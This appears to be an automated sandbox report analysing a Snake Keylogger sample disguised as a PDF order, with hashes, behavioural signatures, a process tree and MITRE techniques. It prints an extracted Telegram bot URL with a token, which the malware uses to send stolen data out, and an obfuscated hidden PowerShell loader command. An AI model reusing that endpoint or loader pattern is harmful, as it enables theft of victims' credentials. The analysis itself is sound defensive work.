Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 07:29
Static task
static1
Behavioral task
behavioral1
Sample
Order88983273293729387293828PDF.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Order88983273293729387293828PDF.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Preallot.ps1
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
Preallot.ps1
Resource
win10v2004-20241007-en
General
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Target
Order88983273293729387293828PDF.exe
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Size
696KB
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MD5
fc3c5c65e7e4273fafe635355850a280
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SHA1
5d177e7833b900867c6cdcf688c67eaed267adc9
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SHA256
0caac3bbfaa97a7bbb02edb38c052afe206b3b02dae196b523b04b8ff3b108d7
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SHA512
adb239e96b1a26577a56a4c695ba9b209684dbd4f2bf1a22c7a237886d98377982ef0ad4a34309127637c11de95ee5dec7c3977111c78b98e269de96a6fc4beb
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SSDEEP
12288:G0mnA1zzwfuh5m0yZ5p1qNy7hAEav4So+r9t3DSDb4N7:uA1zzwfxZzM8AEav4NU3ewF
Malware Config
Extracted
snakekeylogger
https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809
Signatures
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Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Snake Keylogger payload 2 IoCs
resource yara_rule behavioral2/memory/404-65-0x0000000001000000-0x0000000001026000-memory.dmp family_snakekeylogger behavioral2/memory/404-64-0x0000000001000000-0x0000000002254000-memory.dmp family_snakekeylogger -
Snakekeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3488 powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 4 IoCs
flow pid Process 23 404 msiexec.exe 25 404 msiexec.exe 27 404 msiexec.exe 42 404 msiexec.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 24 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 404 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3488 powershell.exe 404 msiexec.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\resources\0409\propangas.lem Order88983273293729387293828PDF.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Order88983273293729387293828PDF.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3488 powershell.exe 3488 powershell.exe 3488 powershell.exe 3488 powershell.exe 3488 powershell.exe 3488 powershell.exe 3488 powershell.exe 3488 powershell.exe 3488 powershell.exe 404 msiexec.exe 404 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3488 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 3488 powershell.exe Token: SeIncreaseQuotaPrivilege 3488 powershell.exe Token: SeSecurityPrivilege 3488 powershell.exe Token: SeTakeOwnershipPrivilege 3488 powershell.exe Token: SeLoadDriverPrivilege 3488 powershell.exe Token: SeSystemProfilePrivilege 3488 powershell.exe Token: SeSystemtimePrivilege 3488 powershell.exe Token: SeProfSingleProcessPrivilege 3488 powershell.exe Token: SeIncBasePriorityPrivilege 3488 powershell.exe Token: SeCreatePagefilePrivilege 3488 powershell.exe Token: SeBackupPrivilege 3488 powershell.exe Token: SeRestorePrivilege 3488 powershell.exe Token: SeShutdownPrivilege 3488 powershell.exe Token: SeDebugPrivilege 3488 powershell.exe Token: SeSystemEnvironmentPrivilege 3488 powershell.exe Token: SeRemoteShutdownPrivilege 3488 powershell.exe Token: SeUndockPrivilege 3488 powershell.exe Token: SeManageVolumePrivilege 3488 powershell.exe Token: 33 3488 powershell.exe Token: 34 3488 powershell.exe Token: 35 3488 powershell.exe Token: 36 3488 powershell.exe Token: SeDebugPrivilege 404 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2344 wrote to memory of 3488 2344 Order88983273293729387293828PDF.exe 83 PID 2344 wrote to memory of 3488 2344 Order88983273293729387293828PDF.exe 83 PID 2344 wrote to memory of 3488 2344 Order88983273293729387293828PDF.exe 83 PID 3488 wrote to memory of 404 3488 powershell.exe 98 PID 3488 wrote to memory of 404 3488 powershell.exe 98 PID 3488 wrote to memory of 404 3488 powershell.exe 98 PID 3488 wrote to memory of 404 3488 powershell.exe 98 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Order88983273293729387293828PDF.exe"C:\Users\Admin\AppData\Local\Temp\Order88983273293729387293828PDF.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Polyorganic=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Preallot.Fer';$Didepside=$Polyorganic.SubString(54845,3);.$Didepside($Polyorganic)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3488 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:404
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
53KB
MD5ab917b684f578574a32d681b79310931
SHA14646d2ee1e976e7a38d69eaf3b76650338e99072
SHA2562ef655a8f10840167370d2903c93bc173b78462bcfd776652dc2655d8e4670c1
SHA5126085fcf5e4c7ffb86abcf2a9b11f5e7881944b688c4d8bbb4f283b417da3e681fc60277620b7b351aff9fefa6db7d917006fc5f9d3959822db8f79f5f18aabd7
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Filesize
334KB
MD5da9139fca721e05572b677d5ce18f669
SHA1ad634b3b982bfbb95d3eae64134c358bdb0989b6
SHA256a49bbf66719daea9be47cd77294a9950579f1c6c8d7a117ae86b64a0f3df22b3
SHA51294a9ad0370aaa61e00cea1bca13fb505b2673964ff3186622b045b4aee363a09b2dead6de831a71ecac8af6ea002a58d80d4b8af109306db4d295299315005be
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82